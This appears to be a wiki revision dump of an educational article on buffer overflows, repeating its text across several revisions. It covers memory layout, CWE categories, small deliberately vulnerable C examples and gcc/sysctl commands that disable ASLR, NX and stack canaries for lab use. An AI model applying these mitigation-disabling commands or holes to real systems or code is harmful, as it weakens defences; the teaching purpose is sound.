Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T12:31:39Z

AKofranek: /* Buffer Over-Write */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write (maybe weg) ===
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T12:28:58Z

AKofranek: /* Types of Buffer Overflow Vulnerabilities */

Buffer Overflows

2024-12-11T11:48:14Z

AKofranek: /* Buffer Over-Write */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, '''a function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
